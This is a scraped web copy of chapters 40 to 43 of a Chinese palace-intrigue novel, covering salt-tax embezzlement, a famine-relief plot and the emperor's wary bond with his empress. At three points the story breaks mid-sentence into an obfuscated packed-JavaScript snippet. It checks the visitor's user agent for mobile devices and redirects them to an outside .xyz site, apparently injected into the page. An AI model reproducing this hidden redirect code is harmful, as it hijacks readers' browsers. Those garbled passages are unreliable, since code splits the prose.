舵手们听到号令,俱已执起船桨。 水声响然,舟行于夜色。 先前得到的那本盐税账目,林如柏谨慎地将其藏入书笈中的暗格。刚刚得到的这本,他将它放入漆木匣子,预备呈给圣上。 两本账册,装帧、字体并无二致,有何区别呢? 新的这本账册亦是账面齐整、干净,只是,比原册少了整整一百万两。 40. 乱局(二) 林如柏思索着,这些银子要用在何处?其中一小部分,定是阿耶要自己扣下的,文人风骨说来清高,可要笼络起来,亦是所费不赀。 另外一大笔,要运去西境。林如柏猜到什么,一时面色苍白,说不出话来。 林家何至于此,他曾私底下委婉地劝说过阿耶。 林舒涟难得地温和,对他说:“为权势拼杀至此,想全身而退,难呐!换了新帝,我容家还能光耀依旧?先前是我林家为刃,如今,怕是要换了容家为刃了。旧刀刃若无用,怕是只能折了……” 贴身的小厮走进船舱,打断了林如柏的思绪。 “少爷,您的信,是刚刚都督府管事捎带上来的。” 林如柏急忙拽过来看,竟是妹妹林乔峤写来的。 展信速读,仅是宫闱之事,她与容鹿鸣的争斗,却又不止于此。 林如柏合上信,小妹说容鹿鸣为了争宠,竟施手段。他苦笑,容鹿鸣会争宠?她怕是更愿意在宫里清修。 外面传什么帝后情深,他俱知道,并非如此。容鹿鸣实则是被迫嫁了。而当今圣上……些许细节在林如柏脑中渐次浮现出来。 萧正则还是七王爷时,曾于市集之上,将容鹿鸣从他眼前带走。曾于茶肆之中,不许说书先生讲说他与容鹿鸣的演绎故事。跪过太子府,求太子着力阻拦他与容鹿鸣的婚事…… 即便萧正则要报答容鹿鸣的为师之恩,可这诸种行为,已不止是个“恩”字。 阿耶说,新帝将以容家为刃,好得很,“为刃”的臣子们,哪个有好下场? 他等着看,新帝如何失却所爱,带着报复般的快意。却亦有不忍,那人是容鹿鸣呐,也正因为是她,局势,到底会走向何方? 林如柏折好妹妹的信,触烛燃了。 林、容二家的争斗要开始了?不,也许早就开始了。 挥去了犹豫,这一回,他也要入局。看着纸灰静静蜷缩在笔洗内,他突地一阵耳鸣,想到件事。 那次散朝后,容鹿鸣对他说的话,他想起来了。 她说:“日后若能得闲,再向林侍郎讨教狂草”。 他忽地记起她曾非常欣赏他的书法,由衷地、非为谄媚,而他已久不动笔。 暗卫送来最新消息,由昙现呈了上来。 萧正则坐在文华殿的龙座之上,示意两方争执的臣子即刻安静。 他掰开漆封,展开其间细小的纸卷,快速扫过,示意昙现端来烛台,将卷好的纸卷一触,丢进笔洗。 殿内静得可怕,几位二品大员似是觉出了刚刚的失态,顿时一言不发,俱在悄悄觑着萧正则的脸色。 其实,他们从不觉得自己失态,表面扯着家国民生的大旗,内里私欲盈怀。此刻,只是觉得那信来得蹊跷,陛下神情又难以觉察地一凛,便疑心是政敌做了什么。 那信本与此时在议的事无关,萧正则却故意要如此,让这群老奸巨猾的家伙使劲去猜。 萧正则看了昙现一眼。昙现默默颔首,朗声说道:“陛下乏了,叶德邻叶尚书之事,明日再议。各位大人请回吧。” 这些紫服诸公,难得地未加反驳。他们在默默揣度,陛下刚刚收到的密信,会否影响圣意裁断,因而表现出少有的驯服。 待他们一一退出殿内,萧正则抽了本折子放在面前,却不翻开。 他想着刚刚看到的密信内容——林党果有密谋。林如柏究竟收到多少盐税,前去查探之人尚未有准确信息,只能待他返京之后再言。可四日前的丑时,林如柏的船队确实分出去一艘船,装作是货船,往西边行去。 看这个路线,萧正则猜到它要去哪。他揉了揉太阳穴,轻轻叹了口气。 悍臣当政呐,他想,不住地,也想怨一怨左相容止。想他家出二将,却越发低调谦抑,他明白老丞相不愿树敌,以免子女在外御敌,内里还要受朝中之事牵累。这往小了说是为了小家,可往大了说,怎么不是为了让他们安心作战、守卫家国? 再加上先帝疑心甚重,不免地,就倚重了林党一派。后来觉察不妥,又扶植清流,两下争斗,越发混乱。先帝又耽溺华服美舍,财政堪忧,离不开林党的生财之道。待他承继大统,已是这般局面。 纵使容止已年老,萧正则仍不免要怨他一句:长于谋身。转念思及容鹿鸣,容止的罪愆似可稍减。 林如柏偷运盐税的事若是放在从前,萧正则定要立即遣了暗卫将他绑来,严刑拷打之下哪有嘴硬的,还不是什么都交代了? 当年被问及如何对待佞臣,他曾这样答过。当时已至岁末,时值岁假,容鹿鸣罚他假日里抄写《老子》一遍。他心中不服,但不敢辩。 容家亦是皇亲,春节之时照例入宫贺年。萧正则憋着气,但在父皇和静妃面前,对容鹿鸣礼遇更甚。容鹿鸣看出来了。 御赐晚宴罢,容鹿鸣向静妃建言,说是想带萧正则去丞相府小住一日,叫他先前的骑射师父容大虎看一看,他的功夫有无长进。 静妃迟疑着,那会儿太子健朗,她对萧正则这个义子没有什么期许,便觉得,何必如此辛苦。 太子于一旁听见,却是很赞许,劝说母妃让他们去。 回相府的路上红灯照瑞雪,煞是好看。萧正则明明很开心,却木着脸,一言不发。 容鹿鸣心里明白,也不搭理他,心说这是在宫外,若在宫内,背着静妃,当着太子的面教训一顿也就是了。这孩子,这两年越发倔强。 好大的雪! 相府的百年古园里,一物一景,都如烫着白银、盖了水晶。 萧正则照旧住月柏轩,容雅歌房内的暖阁中,离容鹿鸣的屋子不远。于礼而言,他当在晚歇之前去向老师道声夜安。可心中郁气难散,他早早熄了灯,躺在床上。 床前的忍冬纹银薰炉蒸着芬香暖意,可他睡不着,只望着容鹿鸣的荧窗烛火。 似梦似醒之间,有人轻轻拍他脸颊。他直往枕下摸匕首,没摸到,这才一刹地惊醒。想起自己是在相府,他来这里从不带兵刃。 他安下心,看床侧,立着个容鹿鸣! “容讲郎,你!”他“腾”地红了脸,往被褥中钻。 容鹿鸣揪住他领子,“快,别赖床,带你去看好玩儿的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15745625|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他登时来了些精神,不过仍有些害羞,“老师,我要更衣,你……你转过去。” 容鹿鸣哈哈一笑,把云雷纹衣桁上挂着的裘袍递给他,然后转过身去。 雪霁,犹冷。 寒风吹来雪的碎屑,如碾碎的云絮。大雪毡盖天地,映明天际。萧正则不知此刻时分,容鹿鸣说要出府,他便同她一起了。 “不乘马车,我们骑马去,”她把手中银狐裘的帽子给他戴好,他记起这是静妃赐与她的。 她的骊驹看到主人,开心坏了,不停打着响鼻,喷着热热的鼻息。 她先扶着萧正则上了马,接着也跨于马上。 “拽紧我。”她说。 他绝不允许自己冒犯到她。可她纤细优美的腰线还是在他梦里萦绕了许多年。不能抑制。 他们出了城,来到景山脚下。他不知道来这做什么,她说来,他便一起了,不在乎究竟去哪。 容鹿鸣把骊驹拴到一棵粗壮的野梅树上。拉着他躲到不远处的灌木从里。 腊梅一阵一阵地香,他不觉得冷,这一刻也失却了所有目的,惟愿时光静止,他们如画中人一般,被囚禁在此时此刻。 容鹿鸣猛得拍他,以指示意前方。 “兔……”容鹿鸣一把捂住他嘴,以眼神示意他。 那只大肥兔子像个会蹦的雪团,蓦地顿住,支棱起耳朵,驻了片刻,又蹦蹦跳跳地走了。 萧正则这会儿把他先前看到过的行军手势通通想了起来!激动地不停做着冲锋的手势,又不敢发声,脸憋得通红。 容鹿鸣咧着嘴笑,捏捏他的脸,直摇头。他撅起嘴,皱眉。她示意他等着。 那“大雪团子”不一会儿就没了踪影。又停了片刻,容鹿鸣示意他别说话,跟上她。 厚厚的雪地上印着清晰的脚印。他们跟着那“梅花印”往对面的林子深处走去。 雪及脚踝,他走得有些吃力,却什么也顾不得了,他要跟紧前方的身影。 她突然停住,回身压住他肩膀。他们一同闪身躲入一棵古松背后。 然后,她示意他朝着她指的方向看去。不远处的松树下藏着个树洞——是兔子窝! 他挥舞着两手就要冲过去,却被她一手夹住腰一手捂住嘴,往来路上推。 回到骊驹那里,他气得直蹦! “为什么不让我抓兔子?” “兔子多可爱。”容鹿鸣故意逗他。 “那我们朝食吃什么?”他恨不能咬她一口。 “这个呀……”她从随身的布囊里取出四个胡饼,“快,去捡些树枝,松木的最好,香!” 萧正则消了气,乖乖去捡树枝。其实他气的不是兔子,是气先前被她罚抄书的事。 燃着的松木发着热香,烘着胡饼,也暖着他们。 “阿则,这可不是普通的胡饼。”她把串在树枝上的胡饼移到他鼻子。私底下,她叫他阿则,他唤他老师。 “加了羊肉、花椒!”他打鼻子一闻,是他最喜欢的,连宫中御厨都不及她做的好吃。 他张口便咬——咬了个空。 41. 乱局(三) “老师!” “莫急。”容鹿鸣继续老神在在地烤饼,“若是逮兔子的话,今日,咱们能逮多少?” “能逮一窝!”萧正则相当骄傲。 “非也。若按你的办法,最多只能逮一只。”容鹿鸣把烤热的饼放在丝帕上,掰好了,递给萧正则。 萧正则捧在手里,想了一会儿,“老师是想说,为政者当能隐忍,静候时机、搜集证据,以期寻其踪迹,一网打尽。” 容鹿鸣笑了,对他说:“吃吧。”她看了会儿枝头腊梅,接着道:“为政者莫要轻易动刑,攻心方为上策。不说史官将如何录事,倘若上行下效,官场将如何可怖?” 萧正则当时似懂非懂。容鹿鸣为他擦去嘴角饼渣,“别生老师的气,这些话,你日后多想想。” 许多年过去,容鹿鸣当年说的话,萧正则已然懂了。 后发制人,他倒要看看,林家那个“树洞”里藏着的,是不是他想的那个人? 容鹿鸣在凤仪宫内琢磨自己新创的狂草大篆。 她让巧笑把她刚写的一张大字捧远了,她立在原处审看。美盼跟在她身旁,捧着她喜爱的秘色瓷莲花杯,南境岩茶于杯中升腾起浓郁的香气。还有两个小宫女在一旁,捧着笔和墨。 “怎么样?”容鹿鸣问道。 美盼犹豫了一息,容鹿鸣不喜欢她们奉承她。由是只得实话实说:“回皇后娘娘的话,奴婢不懂大篆,只觉得望起来像画儿。” 当朝之中,懂大篆又擅于狂草的,似乎只有林如柏。容鹿鸣思绪一闪,林家的盐务之事很快会有眉目,她静修不了两日了。 前几日,她还把她新创的字写了两张,寄去北境给兄长品评。 能不能真的寄到容雅歌手上另说,越忧心,她看上去越无忧。 殿外宫女通传:“林昭仪有要事求见。” “林昭仪?”多日浸□□画,容鹿鸣险些忘了自己还是皇后,一时竟没想起来这个昭仪是谁? 巧笑珍惜地捧着容鹿鸣的字大步走来,气鼓鼓地说:“皇后娘娘,这林昭仪就是前些日子总为林昭容鞍前马后的那位啊。如今,她的靠山被禁了足,她就跑来咱们这里献殷勤,叫她走!” “巧笑。”美盼小声呵止她。 “是她,”容鹿鸣笑了,“叫她进来。”她没显出待客的样子,回到书案前,接着写字。 “叩见皇后娘娘。”叶言伽见面即行大礼,容鹿鸣没动,也没让侍女扶她起来。 她搁下笔,抬头,看着面前人。她虽披了件轻红底连珠团花纹锦缎披风,却难掩钗发皆乱。脸上压了厚粉,犹见得眼皮有一丝红肿。 她看着她的脸,与故人的面容渐渐重合,再加上汇集到她手上的消息,她已确定她是谁了。然后立刻地,意识到形势有变。 叶言伽膝行至容鹿鸣身前,伸手,紧紧抱住了她的腿,是谦卑哀求的姿态。 容鹿鸣俯身扶她,以食指压了一下她的唇,示意她禁言。 “可是在林昭容那里受了委屈?唉,不必如此。”容鹿鸣声音不大,透着些冷漠。 巧笑会意,带着几个近侍走出殿外。叶言伽令自己的侍女也一并出去。 容鹿鸣扶她起来时,她几乎已站不住,泪流了满脸。望着容鹿鸣严峻的神色,她擦了泪。容鹿鸣用力捏了她肩膀,要她挺住。接着,她提笔,在案上的玉版生宣上写了个字——“聂”。 叶言伽抖了起来,连呼吸都在颤。她用她纤薄的手掌按住了那个“聂”字,咬紧苍白的嘴唇,忍泪。继而接过容鹿鸣递来的笔,写道:聂家遗孤,求容少将垂怜相助。 “果然……”容鹿鸣想,先前还说叶家小女重病,怎么突然便病愈入宫?多年探找,初次见叶言伽时她就觉得眼熟,原来,真是故人之女。 叶言伽,不,她真名是聂嘉言。其母本是宫中尚食局尚宫,容鹿鸣小时入宫,最爱吃她做的羊肉胡饼,也同她学过一些厨艺。后来她嫁了聂鸣珂将军,聂将军遭林舒涟陷害而亡,妻女均没入奴籍。将军之妻不久亡故,将军之女有说逃逸,有说病亡。 南境路远,又非军报。当容鹿鸣在南境战场收到聂嘉言的求助信,为时已晚,她即刻着人调查,收到的,就是这样的结果。这些年来她一直在派人探查,隐隐地,觉得聂将军之女仍在世上。不想她一路执灯,聂言嘉竟一直隐于灯下。 有些事还需问清楚,容鹿鸣手书一个“叶”字。 聂嘉言执笔疾书:叶氏为吾父旧友,救我于水火。我借叶家小女之名入宫,以待时机,陈清父之冤屈。 叶德邻,容鹿鸣脑中闪出他的面影,严肃、耿直的工部尚书,长于修筑之道,拙于逢迎之术,即便在清流的众臣之中,也故旧不多。隐匿罪臣亲眷按律当徒,他竟冒着这样大的风险护住了友人的女儿。 容鹿鸣对他心生敬意,亦不近不远地想到清流们绵延不绝、百折不挠的所在:可以表面驯服、隐藏力量、静候时机。可以在清水中显得浊,在浊水中显出清。 她一瞬地猜到聂嘉言求她做什么:叶德邻与林党之臣陈卓同去西南赈灾,应是他出了什么事。 窗外也许仍有暗卫,除了叶言伽的真实身份,其余的也不便萧正则此时知晓。 容鹿鸣将刚刚写字的宣纸抽出,折好,压在砚台下面,重又摊开一张生宣。 “好啦,把泪擦了,本宫知道林昭容欺侮于你,日后定为你做主。”容鹿鸣刻意加大了音量,语气显出典重。 美盼端来个漆金绣墩,容鹿鸣赐叶言伽坐下。她泪眼未干,面露迟疑。 “容鹿鸣以眼神安抚她,提笔写道:西南赈灾出了何事? “美盼,你且照顾叶昭仪休息片刻再回。”容鹿鸣故意说道。 叶言伽于她的问句下奋笔疾书。眼泪落在宣纸上,洇开墨迹,激动地发颤,她写了又划,划了又写。 美盼在一旁未动,却对着虚空说:“叶昭仪,尝尝这樱桃毕罗,配岩茶,好吃得紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769839|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 无论是谁,听到这殿内对话,都以为不过是个受了委屈的嫔妃来求皇后主持公道。谁能想到,清流与林党此刻已剑拔弩张,稍有不慎,即刻见血。 容鹿鸣厌恶这种意义上的死亡——为了党派之争、个人私利,毫无价值。 她扫过叶言伽写下的字句:叶尚书被诬告贪墨赈灾款、粮。灾民无粮可赈,氓流闹事,恐生民变。 “民变”二字刺痛了容鹿鸣。 她挥笔告诉叶言伽,叫她找一叶家可靠之人,速去如意楼提五万现银,如意楼掌柜会派人助她换成粮食,送去西南交予叶德邻,以解燃眉之急。 她拔下发间的檀木簪子,按在叶言伽冰冷的掌心。 叶言伽惊疑不定,她不知容鹿鸣是如意楼东家。 “银子是干净的。”容鹿鸣又在纸上写一句。 叶言伽怔怔望向她,泪又落下,跪下给容鹿鸣重重磕了三个头。容鹿鸣赶忙去搀她。 她起身后于纸上写下一句:谢皇后娘娘厚恩。叶尚书已变卖祖宅、田产,筹银一并运去受灾之地。民变之忧,还求皇后娘娘救命。 她双手捧起容鹿鸣的发簪,恭敬地藏入袖间,方才头也不回地走了。 容鹿鸣依旧坐于书案前,半晌无话。她于东市经营多年,不差银钱,若非此次萧正则欲借税务之事敲打林党,她早把银钱拿出。 可关涉民变又是另一回事。连个朝局之外的人都能看出,她有能力制衡地方民变,换言之,她能影响地方的军事势力。于帝王而言,这是大忌。即便能够如此,也应装作无有此力。况且,萧正则已然警告过她:“容家,还是作壁上观的好。” 容鹿鸣揉了揉眉心,阿耶自幼训诫她与兄长——谋国为重。可在这个关口,她一着不慎,只会加重帝王之疑。 容家获罪倒无妨,南、北抗敌大计当如何?与西戎盟约重立之事依旧遥遥无期…… 万一,容鹿鸣转念想到,林党就等着容家走这一步呢? 除了自己,尚有其他人可压这民变之事。容鹿鸣看了眼自己书就的狂草……西南、西南,西境其实有位可供调动的故人……如果能使计让动他一动的话。 文华殿中,数位大臣的争执由太极殿上延伸至此。 他们鱼贯而入,然后自然地在殿下站作两阵。 “启禀陛下,叶德邻贪污赈灾款、粮,灾民无衣无食,饿殍遍地,他负责赈灾的一县三镇之中,已有一镇起了民变。” “林尚书慎言!民变之事尚无确切信息传来。叶尚书贪墨一说,更是无稽之谈。某且问一句,那赈灾款、粮,可是如数拨下去了?” “李尚书所言何意?陛下朱笔御批的赈灾款、粮,叶尚书、陈侍郎各拨一半,分别去赈两县之灾。怎么陈侍郎所到之处,安抚灾民、分发粮款,灾民无不称颂当今圣上。而叶尚书之处却因少粮起了民变,这还不是私下贪墨,逼死灾民?”林舒涟立得笔直,言辞抑扬顿挫,怒气收放自如。 42. 乱局(四) “你……”叶德邻的故友李尚书一时语塞,咬了咬牙,预备争个鱼死网破。他先笑了一笑,朗声说:“林尚书,那下拨赈灾款粮之人可是你林党的得力干将,有无盘剥只有你们自己心里清楚。” “李尚书此言差矣,朝中众臣,无非陛下之臣,何来此党、彼党?”林舒涟袖手缓言,“李尚书若对拨款之事心生疑虑,大可去查上一查。” “查账之事可另议。”萧正则出言,隔开了这无谓的争斗。打嘴仗能把乱局平了?清流之士被打压过久,太想扳倒政敌,又想从法度上将对方捆死。确实,他们多是法家拂士,可仅靠律法,便可以安民、平乱? “林爱卿你说,倘民变之事属实,当如何?”萧正则问道。 林舒涟微微抬头,看了眼陛下面前兀自立着的绣墩,它空着。 昙现会意,开口道:“林尚书不必等了,容相告了病假,这几日都无法入宫议事。陛下问的,就是林尚书您呐。” 林舒涟长揖,心中暗暗松了口气,“回禀陛下,臣以为,应即刻着人捉拿叶尚书回京,以平民愤。查明贪墨之银,疏解民困。” “派谁去呢?你们速拟人选与朕。” 李尚书迟疑着,那里的具体情况,他尚不清楚,既未收到叶德邻的信,也未收到他派出探子的回音。民变即便是发生了,亦可大可小,可说是违逆朝廷,也可说是刁民生乱。 是真的变乱难控,还是林党借此又设了个局? 他并不知道,那三镇的官驿之中,俱有林党之人,早已将往来书函控制起来。 “既然李尚书对拨款之事存疑,不若由你说个人选,去了既可查账又可协同平乱。”林舒涟不急不缓地说。 李尚书不敢贸然接话,长揖道:“但凭圣上决断。” 这两个老狐狸,萧正则就是要他俩互相猜疑。他装出为难的样子,“既然如此,那你去吧。”他指着立于他身侧的容小虎。 举座皆惊。 容小虎先前是容鹿鸣的副将,颇受容鹿鸣信任。萧正则一直颇为欣赏他。待容鹿鸣入宫为后,他便被封为御前侍卫,而实际上,萧正则已渐渐将察事处的重任放在他肩上。 “解民倒悬,你们既一时拟不出人选,那,就让朕的人去。容小虎。” “卑职在。” “你准备一下,即刻动身。不必回过容相与皇后。”萧正则特意加了一句,似是专为点明此人已与容家无甚关系。 容小虎的惊诧不亚于面前的两位两党股肱。余下众臣也俱是将他望了一望。 他抱拳、应诺而去,心中琢磨,怎么也得想个法子告知皇后。 林舒涟本欲借此次赈灾之事设个局,为此,他还特地将赈灾款未拨足之事透出了点儿风声。那群清流之辈必会如蝇扑血,追过来查明此事,以期揪住林党错处。再加上民变之事,他们定要派个重臣前去平民乱、查贪墨。 待清流之臣一到,便会被民变之事困死。若没有他林舒涟的手书,“民变”决不会停。清流之臣办事不利,必受圣怒。 没想到,陛下竟派了容小虎前去。若今日陛下不提,他还真忘了还有这么个人——这容小虎整日立在那,和殿前的柱子有什么区别? 他有些猜不透这位看似驯服的少年帝王了。 林舒涟先前是听说过容小虎的,容鹿鸣数次凯旋归来,都曾为他请功。更重要的,是他的姓氏,容鹿鸣、容雅歌的亲军,常常可以冠以“容”姓,以示亲如家人、生死与共。 丞相容止也病得蹊跷。虽说年事已高却也硬朗,怎么偏偏这时病得起不来床,刚巧从这事里脱出身来。 容家不参与最好,但林舒涟忧心,容止万一留了后手…… 无论如何,民变这事必须坐实。林舒涟暗下决定,心中一时却也波动不已。他曾是容止的爱徒,诚心信奉过“民贵君轻”“为谋国可弃谋身”,也曾心怀悲悯。 而此时此刻,他下了那决定,纵使心有愧疚。 忘筌从殿外悄声走进来,托着个檀木茶盘。萧正则看了他一眼。 “你们退下吧,叶德邻之事,待容小虎回来再议。” 待几位大臣都退出去,忘筌轻轻搁下茶盘,从盘底抽出个漆封信封,恭敬地呈给萧正则。 萧正则顾不得掰开漆封,直接撕开信封,展信来读。 果然,朝中蠹虫处处,赈灾款、粮被层层盘剥,到那西南六镇时已所剩无几。 陈卓一到,察觉形势不对,立即广发请帖,邀当地乡绅富商共商赈灾大事。每处大宅门外都站着一二官军,无人敢不来赴约。 席间官军带刀,围住四周。酒过三巡,陈卓陈侍郎说罢“为君分忧、为民造福”等一通言辞,即令在场诸位出粮、出钱,倘数目略少,便威胁说要压入大牢。座中不少人都知道,他是林舒涟的门生,俱是敢怒不敢言。 有人饿死,乡邻纠合闹事,陈卓立即处死那领头的,其余投入大牢。由此,无人敢再闹事。 “这个陈卓……”萧正则话说了一半,取出信封中的另一封信。 这封,说的是叶德邻。 他到任后亦觉赈灾款、银严重不足,却是一一拜访豪绅,好话说尽待之以礼,请他们为救灾出力,然而所获甚少。万般无奈之下,他不仅拿出了积蓄,更是把叶家的祖宅、田产一并拿出来典卖,去邻省换粮救灾。 萧正则知他一向清廉,即便如此,又哪里足够?他接着往下翻动,这信却仅纸一张。 “回禀陛下,察事处快马加鞭送来的仅得此,其余信息,许是还在路上。”忘筌答道。 “民变之事到底如何?”萧正则心中甚忧。忽地,他想到什么,问昙现:“这几日,可有什么人去了凤仪宫?” “回禀陛下,前日,叶昭仪去了凤仪宫,说是林昭容被陛下禁足后她好心前去探望,却被林昭容关在门外,当着一众下人,说她今日才来,好一个趋炎附势、忘恩负义之徒。她受了屈辱,去向皇后娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787809|171898||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘哭诉。” 萧正则心想,容鹿鸣那人神难亲的气势,除了儿时的他自己,谁还敢向她哭诉? 然后,他了然地笑了,“走,去凤仪宫。我猜有个人大抵清楚民变的事。” 凤仪宫的大门,又是早早关了。萧正则不许人通传,径自去叩门。竟还是上次值夜的那个小宫女,她这回不敢再盯着萧正则看了,立即跪地俯首,不发一声。 “懂事。”萧正则瞥了她一眼,示意昙现赏赐。 昙现刚交代过近侍,萧正则已快步默然入殿,如同是回他自己的寝宫那般。 昙现犹豫片刻,未跟上去。 凤仪宫中,错银镶金铜鹿灯架上,烛火辉然。鎏金卧龟莲花纹五足朵带银香炉内,瑞脑驱散着弥漫于夜色中的倦。 大殿内外,好几个女官、宫女,见陛下匆匆走来,懂了陛下的手势,俱是沉默行礼,跪了一地,心中不无惶恐。 于殿外看殿内,确是恢宏,尽显皇后地荣宠。而那透出来的橘色烛火,却是柔柔的,覆在萧正则脚面上,如一层细腻的丝绒。 他停住了,这宫殿在他面前,蓦地变小了,如黑夜林中,等着归人的一间小屋。朝中的喧哗、争斗俱在林外闹嚷。 他由晦暗不明、星光疏漏的殿外向殿内走,一点点脱下暗影,迎向烛火。 刀光剑影里走过的人,喊声震天的校场一呆好几天,而私底下,容鹿鸣怕吵。萧正则颇受其影响,直到现在,他同她说话时还常是轻声低语。 此刻殿内只两个女官,美盼、巧笑虽说各捧一个茶盘,连容鹿鸣在内,三人都在看着书案上的什么。 萧正则悄声往那走,他好奇极了。 容鹿鸣听到动静,以为是侍女,没抬头,说道:“今日不能再吃蜜糖了,端回去吧。” 萧正则略一停,接着走过去。近了,他走到烛光的中心,走到她身边。 书案上是张巨大的舆图,除了本国外,还把相邻的北狄、西戎、南蛮都绘制了出来。 萧正则记得御书阁中藏有一幅,但不及这个。这幅不仅笔触更加细腻清晰,连几个与邻国接壤的城镇,都标注得轻轻楚楚。 私绘地图?萧正则心里一沉。看了看面前人,他若有所思。 她们三个有多专注?无人发觉身后多了一人。 巧笑把手中茶盘往前送了送,容鹿鸣端起茶盏饮了一口,马上搁下,“端走端走,不能再喝了,今天都喝了八九杯蜜茶了。” “皇后娘娘您刚刚还要的……” 美盼趁机把她端的茶盘往前送,容鹿鸣往茶盘上搭了下手,皱起鼻子,“安神药端走,闻着我都心里苦。去,来杯茶,龙井、大红袍、峨眉雪芽……都行。” “娘娘还是先把安神的药饮了吧,这会儿饮茶,晚间准睡不着。” 容鹿鸣置若罔闻。 萧正则忍不住插话,“这么苦么?来,我尝尝。”他还是当年的习惯,常常忘记要自称“朕”。 43. 棋子与棋子(一) 巧笑、美盼闻声侧目,俱是一惊,“扑通”一声跪下,茶盘置于地,急忙叩首。 容鹿鸣也连忙行了一礼,然后微微后靠,像是想遮住什么。 萧正则抢先一步迈至书案前,细看眼前舆图,手中还端着容鹿鸣的药盏。似是为着不显突兀,刻意说道:“闻着真苦,不饮也罢。” 他搁下药盏,转过头看向容鹿鸣,“若是无眠,我来为鸣鸣捕梦可好?” 容鹿鸣在心里说了句:“登徒子。”刚刚下意识的遮掩其实不必要,索性,亮于他看。 她话不多说,以食指点点舆图之上的运河。那里,她做了标记。 “林如柏——你怎么知道林如柏克扣税银的事?”萧正则收起玩笑,审视着她,如在看一个对弈的棋友。 “臣妾刚刚听说,听陛下说的。臣妾只是猜测,林家小公子亲自去收盐税,怎会没有私下孝敬的?”容鹿鸣朝萧正则狡黠一笑。 萧正则有些明白了,以指划过容鹿鸣标注的那段运河路线。确实,她心里装着个四两拨千斤的巧计,林舒涟既设了局,她便要把林如柏卷进来。 然而,纵然她替他操心着国事,却没有第一时间来找他。她是真的在意大局,还是于党派之争中,另有打算? 萧正则往旁边挪了一挪,装作刚刚发现的样子:“鸣鸣,你的檀木簪子呢?” 见容鹿鸣迟疑了一息,萧正则便知道,暗卫所言不虚。容鹿鸣也意识到了,而萧正则望着她,看不出喜怒。 她还在酝酿言辞,萧正则已抚上她发鬓,“鸣鸣,我或许比你以为的更了解你。那发簪……你从哪家铺子提了银子,是送去给叶德邻了?” 话说到这个份上,他明明什么都知道,却还是要听她亲口说。 容鹿鸣想,这件事自己确有莽撞,多年来,她已习惯独断。私下倒还好,现在看来,萧正则仍派人看着她呢。她这样做,会令他觉得皇权有损。 她想,那就再跪一跪吧,她已很习惯如此了。刚准备沉下膝盖,她已被萧正则揽住。 他看着她的眼睛低声说:“已让你作壁上观了,为何还卷进来,就因为叶言伽来求了一求?” “不为叶言伽,臣妾只为陛下。”容鹿鸣垂下眼帘,片刻,抬眼直视萧正则,“若民变真起,灾民痛苦愈加,朝中之人知晓是叶德邻办事不力,但恐天下人误解陛下少施仁德。”她刻意不提两党之争,想让萧正则感到,她时刻站在他那边。 这话若是第二个人说,萧正则断然不信,可若是容鹿鸣说,萧正则便信了大半。他知她秉性,为灾民忧心确实出自她本心。 他把她垂下的发丝拨至耳后,“我倒是忘了,这东市最大的富商之一,就在我身边。” 他有力的手滑至她肩头、腰侧,将她紧紧揽住,“当年鸣鸣就在东市经营,所获丰厚,却有不少都用来贴补我。古人云奇货可居,鸣鸣现今对朕,可期望什么回报?” 果然,她私下调运银钱的事令他甚为不快,容鹿鸣想。立于权力巅峰,一点点脱控都会使他疑虑丛生。 他见识过金钱的力量,静妃为何独独收养了他?容鹿鸣从不提起,以为他毫不知情,其实,他早已知晓。 容鹿鸣每回上战场都抱了必死的心。当年从冷宫救出奄奄一息的萧正则,她曾托了熟悉的尚宫多加照顾,想他那样一个出身低微、年幼丧母的不受宠皇子,能平安长大便是难事一桩。 其后数年之间,容鹿鸣一直通过那位尚宫,默默周济萧正则,她知道宫中生活的难处。 岂料再次见面是在弘文馆,萧正则以魁首之姿通过了那场唯有皇室子弟方可参与的考试。 她照旧装作不相识,私下却教他书画。 直到有一日,相府书斋内,容鹿鸣正临着容雅歌的字。容雅歌焚了炉四合香,面朝着香炉,蓦地问她:“鸣鸣,那萧正则身世可有什么特殊?你对他过于关切了,他虽颇受冷遇,但毕竟是皇室中人……” 容鹿鸣惊觉,原来在旁人看来,她的行为已有些出格。 “哥哥,觉得这几张字画如何?”她当时从书案一旁的字画中抽出几张,呈给容雅歌看。 容雅歌掠了一眼,即刻放下香炉盖子,抽过来细看,脸上的担忧淡了,透出些笑意。 “哥哥觉得,他像不像你,像不像我……” 容雅歌没再说什么,那一刻,她懂了容鹿鸣的冀望——他们都是死生一瞬的人,若有个亲近的人能像自己梦中向往那样活着,与己而言,是种慰藉吧。 他的慰藉一直是容鹿鸣,直到她也上了战场。他深深呼吸,压下一些情绪。生离后或是死别,若有幸再聚,便共赴下一次的生离死别。无缘跳出这轮回。 